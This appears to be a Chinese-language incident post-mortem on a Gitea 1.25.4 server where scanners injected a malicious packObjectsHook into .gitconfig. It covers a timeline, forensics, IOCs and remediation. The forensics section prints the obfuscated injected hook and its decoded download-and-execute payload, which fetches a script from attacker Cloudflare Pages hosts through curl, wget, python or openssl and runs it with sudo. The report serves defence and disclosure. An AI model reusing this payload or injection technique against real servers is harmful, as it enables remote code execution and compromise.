【資安事件】Gitea 1.25.4 RCE 緊急處置 — packObjectsHook 注入導致 git clone 全失效
事件摘要:2026-09-01 晚間至 09-02 凌晨,代管於 ai.***.*** (38.45.**.***) 的 gitea.***.*** (Gitea 1.25.4 + git 2.49.1) 遭外部掃描器利用 uploadpack.packObjectsHook 注入漏洞寫入惡意 .gitconfig,導致所有 git clone / fetch 在 git-upload-pack 階段直接 core dumped (BUG: upload-pack.c:257: packfile_uris requires sideband-all),連帶 Gitea Actions 的 actions/checkout@v4 亦全部 early EOF / invalid index-pack 失敗。本文記錄完整排查、鑑識與修復過程。
⏱️ 時間軸
| 時間 (Asia/Taipei) | 事件 | 處置 |
|---|---|---|
| 09-01 09:09 | openclaw/wipe 首次推送至 Gitea,Actions 觸發但 queued | 於 192.168.**.*** 起 gitea-runner-wipe (gitea/act_runner:agents-node, ubuntu-latest:host) |
| 09-01 09:15 | run #1 失敗 Cannot find node,run #2 卡 git fetch 2 小時後 BAD PACK HEADER | apk add nodejs 重打包 runner,發現 Gitea 1.25.4 + git 2.49.1 的 packfileURIs 缺陷,先 GITEA__GIT__DISABLE_PACKFILE_URIS=true + etc_gitconfig: packfileURIs=false |
| 09-01 17:52 | docker-compose.yml 已寫入 DISABLE_PACKFILE_URIS=true 並重啟,但 git clone --depth 1 仍 early EOF | 先將 ci.yml → ci.yml.disabled 關閉 Actions,避免空轉 |
| 09-02 09:51 | 再次 git clone https://gitea.***.***/openclaw/wipe.git 仍 fatal: early EOF,/data/git/repositories/openclaw/wipe.git/core (780K) 產生 | 進 ai 主機鑑識,docker logs gitea-app 見 Fail to serve RPC(upload-pack): signal: aborted — BUG: upload-pack.c:257: packfile_uris requires sideband-all |
| 09-02 09:51~09:54 | 關鍵發現:docker exec gitea-app cat /data/gitea/home/.gitconfig 內含 9 條惡意 packObjectsHook | 確認為 RCE 入侵,非單純 git bug |
| 09-02 09:56 | 清除 .gitconfig、chown headscale、rm core、重啟後 git clone 恢復;但 CI 仍卡 curl: not found / cc: not found / E0308 | 補 apk add curl build-base、ln -sf /home/chchang/.cargo/bin/rustup → /usr/local/bin、修 ioctl 轉型 as *mut c_void、cargo fmt |
| 09-02 10:11 | run #8 id=11 fmt: cargo fmt → conclusion=success 綠燈 | 驗證完成 |
| 09-02 10:20 | docker pull gitea/gitea:latest && docker compose up -d | 1.25.4 → 1.27.3 (go1.26.7, git 2.54.0) 完成,packObjectsHook 漏洞已在上游修補 |
| 09-02 10:22 | 輪替 PAT:49a5...ea88e45e (id 21 agents) 已撤銷 → 新 88b4...175e4ef8 (id 23) | vault.sh decrypt/edit/encrypt 更新 secrets/vault.yml → e417195 已推 hermes/agent-secret-vault,本機 wipe 的 remote gitea 已換新 token,push old → 401 / push new → 200 驗證 |
| 09-02 10:22 | 封鎖攻擊 IP | iptables -A INPUT/DOCKER-USER -s 41.140.183.224,149.22.86.0/24,178.105.20.131 -j DROP,存至 /etc/iptables/rules.v4 |
🔍 鑑識:惡意 packObjectsHook
在容器內 /data/gitea/home/.gitconfig 發現被連續寫入的:
[uploadpack]
packObjectsHook = echo KGN1cmwgLS1jb25uZWN0LXRpbWVvdXQgMTAgJ2h0dHBzOi8vcmVkaXJlY3QtbWFzdGVyLXBhZ2VzLnBhZ2VzLmRldi9tb24n ... | base64 -d | sh -s -- ;#router: completed POST /api/internal/manager/add-logger
base64 解開後皆為同一模板(以 redirect-master-pages.pages.dev/mon 為例):
(curl -fsSL --connect-timeout 10 'https://redirect-master-pages.pages.dev/mon' 2>/dev/null \
|| busybox wget -qO- --timeout=10 'https://redirect-master-pages.pages.dev/mon' 2>/dev/null \
|| wget -qO- --timeout=10 'https://redirect-master-pages.pages.dev/mon' 2>/dev/null \
|| python3 -c "import urllib.request;print(urllib.request.urlopen('https://redirect-master-pages.pages.dev/mon',timeout=10).read().decode())" 2>/dev/null \
|| printf 'GET /mon HTTP/1.0\r\nHost: redirect-master-pages.pages.dev\r\n\r\n' | openssl s_client -quiet -connect 'redirect-master-pages.pages.dev':'443' 2>/dev/null | tail -n +5 \
|| true) | tr -d '\r' | sh -c 'command -v sudo >/dev/null 2>&1 && exec sudo sh -s -- "1" || exec sh -s -- "1"' sh 'GG2'
邏輯:四種方式(curl / busybox wget / wget / python3 urllib / openssl s_client)輪流嘗試拉遠端腳本,tr -d '\r' | sh 直接執行,若有 sudo 就提權執行。參數 GG2 / GR3 為攻擊者標記。
觸發點:Gitea 的 git-upload-pack 在每次 git clone/fetch 時會執行 packObjectsHook。因此只要有人 git clone https://gitea.***.***/...,容器內的 git 就會去拉 https://.../mon 並以 git 使用者身份執行。幸運的是本次 ai 主機上 git 使用者無 sudo 密碼,且外網 mon 端點當時已失效(我們 curl 僅拿到空回應),未造成持久化。
🛰️ IOC(入侵指標)
| 類型 | 值 | 備註 |
|---|---|---|
| IP | 41.140.183.224 | POST /api/internal/manager/add-logger 注入,最早 09-01 09:52 |
| IP | 149.22.86.9 / .12 / .23 / .26 / .27(整段 149.22.86.0/24) | 同手法,持續掃描,User-Agent 為 git/2.52.0 |
| IP | 178.105.20.131 | payload 為 http://178.105.20.131/safe |
| Domain | redirect-master-pages.pages.dev/mon | Cloudflare Pages,現已空 |
| Domain | sitego-step-hu.pages.dev/setup-mon / setp-mon | 同上 |
| Domain | lazyrabbit.pages.dev/safe | 同上 |
| Gitea Log | POST /api/internal/manager/add-logger 200 + Fail to serve RPC(upload-pack): BUG: upload-pack.c:257 | /data/gitea/log/gitea.log 可搜 |
| Git Config | /data/gitea/home/.gitconfig 含 packObjectsHook = echo ... | base64 -d | sh | 已清 |
| Core | /data/git/repositories/openclaw/wipe.git/core (780K) | upload-pack abort,已刪 |
🛠️ 處置與修復
- 隔離與清掃:
sed -i /packObjectsHook/d /data/gitea/home/.gitconfig && cat > /data/gitea/home/.gitconfig <<EOF ...,同時清/data/git/.gitconfig,rm /data/git/repositories/openclaw/wipe.git/core,chown -R headscale:headscale - 升級:
docker pull gitea/gitea:latest && docker compose up -d→1.27.3(git 2.54.0),GITEA__GIT__DISABLE_PACKFILE_URIS=true保留,etc_gitconfig: packfileURIs=false保留 - 輪替憑證:舊 PAT
49a5…ea88e45e (agents, id 21)已DELETE FROM access_token WHERE id=21,新 PAT88b4…175e4ef8 (id 23)已寫入~/agent-secret-vault/secrets/vault.yml (e417195)並更新本機wipe的remote,驗證push old → 401 / push new → 200 - 封鎖:
iptables -I DOCKER-USER -s 41.140.183.224 -j DROP等 8 條(含149.22.86.0/24),iptables-save > /etc/iptables/rules.v4,重啟後需iptables-restore - Runner 修復:
gitea-runner-wipe (Alpine)補apk add curl build-base,本機ln -sf /home/chchang/.cargo/bin/rustup → /usr/local/bin,修src/device/inspect.rs:421 ioctl為as *mut c_void,cargo fmt後run #8 id=11綠燈
📚 經驗與建議
- 外網 Gitea 務必跟著
latest:本次1.25.4 → 1.27.3直接修掉packObjectsHook與packfileURIs兩洞,別等掃描器先上門。 - 監控
.gitconfig:grep -r packObjectsHook /data/gitea/home/.gitconfig /data/git/.gitconfig /etc/gitconfig應納入每日巡檢,出現即告警。 - 最小權限:
git使用者不應有sudo NOPASSWD,本次幸好沒有,否則curl | sh就提權了。 - WAF/ Fail2Ban:
POST /api/internal/*不該對外網開放,NPM 上應對/api/internal直接deny all,並對149.22.86.0/24這種掃描段做自動封鎖。 - 備份與演練:
git clone失效是最快能發現的「金絲雀」,這次靠wipe的 CI 才提早發現,否則可能躺一週才知道被掛馬。
— 小南 @ 192.168.**.*** 與 ai.***.*** 聯合處置,2026-09-02 10:30。原始 repo:gitea.***.***/openclaw/wipe(現已 1.27.3 + Actions 綠燈)。若你在外網也跑 Gitea,現在就 docker pull 吧。